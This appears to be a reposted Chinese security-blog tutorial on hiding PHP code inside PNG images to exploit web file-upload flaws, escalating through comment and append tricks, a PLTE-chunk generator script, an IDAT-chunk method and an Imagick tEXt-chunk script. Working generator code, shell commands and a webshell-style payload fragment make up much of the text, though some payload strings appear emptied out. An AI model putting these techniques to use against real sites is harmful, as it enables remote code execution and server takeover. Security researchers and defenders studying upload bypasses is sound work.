在评估PHP应用时候经常会遇到文件上传漏洞,该漏洞允许通过上传植入有PHP代码的文件来实现恶意代码植入,尤其是在图片上传漏洞中,常见的文件类型是PNG格式。
PNG图片的代码植入方式根据防护水平的不同而不同,有四类代码植入方式。
01
基础的PNG图片代码植入
基本的PNG图片上传不考虑任何的上传漏洞防护,很容易造成代码植入从而导致PHP任意代码执行。
如以下代码示例:
这段代码只是将上传的文件名通过添加唯一ID重命名文件,并将文件移动到可对外访问的目录下,即参数thumbnails_directory设定的目录下。
这段代码中只通过MIME做了文件格式的检查(通过文件内容检查判断文件格式),没有做文件后缀检查,因此只要文件内容与PNG格式吻合即可上传。
应对这种只有MIME文件格式检查的文件上传功能,可以通过在PNG图片中植入PHP代码来实现代码任意执行。
方法1:PNG注释
PNG图片格式允许添加注释到文件中,用于保存一些元数据。使用exiftool可以实现注释添加:
exiftool -comment=
""
png-hack-1.png
PNG文件后缀修改为PHP后上传,即可实现PHP代码任意执行。
方法2:直接附加
通过echo命令直接将PHP代码附加到文件末尾即可:
echo
''
png-hack-
1
.png && mv png-hack-
1
.png png-hack-
1
.php
02
PHP-GD文件压缩代码植入
多数情况下图片文件被上传后会被裁剪、压缩甚至转换格式后存储,比如使用PHP-GD库。
下图的代码中使用PHP-GD库的imagecreatefrompng从原始文件创新新的文件,而后通过imagepng函数对PNG图片进行压缩(参数3中指定的level 9)后进行存储。
使用直接代码植入的PNG图片经过压缩后会失去植入的代码,从而导致漏洞利用失败。
方法3:PLTE块
PNG文件包含两种类型的块信息:附加数据块(ancillary chunks)和关键块(critical chunks),前者不是PNG文件的必需,后者是PNG文件的必要信息块。
无论使用哪种压缩方式进行文件压缩,都会删除附加数据块的内容以减小输出文件的大小,这也是直接将代码植入图片会无法奏效的原因。
所以,如果将代码植入到PNG文件的关键块中就可以避免压缩文件的影响,这里最佳的选择是关键块里的PLTE块(palette),比如颜色列表。
Red: 1 byte (0 = black, 255 = red)
Green: 1 byte (0 = black, 255 = green)
Blue: 1 byte (0 = black, 255 = blue)
所以理论上,利用PLTE块可以插入3*256,共768字节的代码,唯一的限制是payload必须被3整除。
<?php
if
(count(
$argv
) != 3)
exit
(
"Usage
$argv
[0] <PHP payload> <Output file>"
);
$_payload
=
$argv
[1];
$output
=
$argv
[2];
while
(strlen(
$_payload
) % 3 != 0) {
$_payload
.=
" "
; }
$_pay_len
=strlen(
$_payload
);
if
(
$_pay_len
> 256*3){
echo
"FATAL: The payload is too long. Exiting..."
;
exit
();
}
if
(
$_pay_len
%3 != 0){
echo
"FATAL: The payload isn't divisible by 3. Exiting..."
;
exit
();
}
$width
=
$_pay_len
/3;
$height
=20;
$im
= imagecreate(
$width
,
$height
);
$_hex
=unpack(
'H*'
,
$_payload
);
$_chunks
=str_split(
$_hex
[1], 6);
for
(
$i
=0;
$i
< count(
$_chunks
);
$i
++){
$_color_chunks
=str_split(
$_chunks
[
$i
], 2);
$color
=imagecolorallocate(
$im
,hexdec(
$_color_chunks
[0]),hexdec(
$_color_chunks
[1]),hexdec(
$_color_chunks
[2]));
imagesetpixel(
$im
,
$i
,1,
$color
);
}
imagepng(
$im
,
$output
);
php
gen.php
''
nasa.php
03
PHP-GD尺寸裁剪代码植入
另一种图片文件上传的标准操作是进行文件裁剪(resize)之后保存。应用程序可能会用到imagecopyresized函数或imagecopyresampled函数,比如以下代码:
重定义尺寸的图片不使用原图片中的关键块内容,比如PLTE块,而是新创建一个图片,且仅使用源文件中的像素数据,因此无论是关键块还是附加数据块在新图片中都不复存在。所以,只能将代码植入到源文件的像素数据中。
方法4:IDAT块
一个相对负载但有效的办法是将PHP代码植入到PNG文件的IDAT块,这些块中包含文件的真实数据,比如PNG的像素,以3个字节记录的RGB颜色轨道。创建IDAT块的时候,PNG线过滤器先处理3个字节的像素,而后使用DEFALTE算法进行压缩。
要创建包含PHP代码的PNG文件IDAT块,必须精确地知道PNG线过滤器和DFALTE算法的执行过程,而压缩的过程受到裁剪大小的影响。
以将110×110像素的PNG图片裁剪至55×55像素为例,并植入payload:
=$_GET[
0
]($_POST[
1
]);
使用以上payload生成代码执行生成恶意PNG图片:
php
gen_idat_png
.php
>
nasa
.php
最终的效果如下:
通过IDAT构造恶意PNG图片可以有效应对尺寸裁剪的问题,但由于和裁剪尺寸相关,因此构造过程会非常棘手。
04
IMAGICK图片裁剪的代码植入
除了PHP-GD之外,应用程序还可以使用另一种裁剪方式进行图片裁剪,即ImageMagick的PHP版本Imagick。
使用Imagick进行图片处理的时候(比如thumbnailImage函数或resizeImage函数),看起来可以使用应对PHP-GD的方法来解决,比如PNG图片的注释或者PLTE块植入PHP代码。
然而,Imagick库可以使用另一种比IDAT方法更有效的方法。
方法5:tEXt块
tEXt chunks用于传达与图像相关的文本信息。每个文本块都包含一个关键字作为其第一个字段,以确定文本字符串所代表的信息类型。
PNG图片的注释部分其实是tEXt块中预定义的一种形式。在Imagick裁剪图片的时候,会执行以下操作:
-
擦除tEXt块中的注释(comment); -
覆盖tEXt块中的以下值:
date:create, date:modify, software, Thumb::Document::Pages, Thumb::Image::Height, Thumb::Image::Width, Thumb::Mimetype, Thumb::MTime, Thumb::Size, Thumb::URI;
-
保持tEXt块中的其他部分;
因此,可以将PHP代码植入到除了注释部分和覆盖部分的其他tEXt块中,比如下面的代码将植入代码到tEXt块中的Repoog属性,该属性是自定义的。
if
(count($argv) !=
4
)
exit
(
"Usage $argv[0] <Input file> <PHP payload> <Output file>"
);
$input = $argv[
1
];
$_payload = $argv[
2
];
$output = $argv[
3
];
$imgck =
new
Imagick($input);
$imgck->setImageProperty(
"Repoog"
, $_payload);
$imgck->writeImage($output);
然后执行该脚本生成恶意PNG图片:
php
gen_tEXt_png.php png-hack-
1
.png
''
nasa.php
最终的效果如下:
综上所述,不同PNG图片处理方式下的代码植入方式如下:
原文始发于微信公众号(洞源实验室):PNG图片中植入PHP代码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论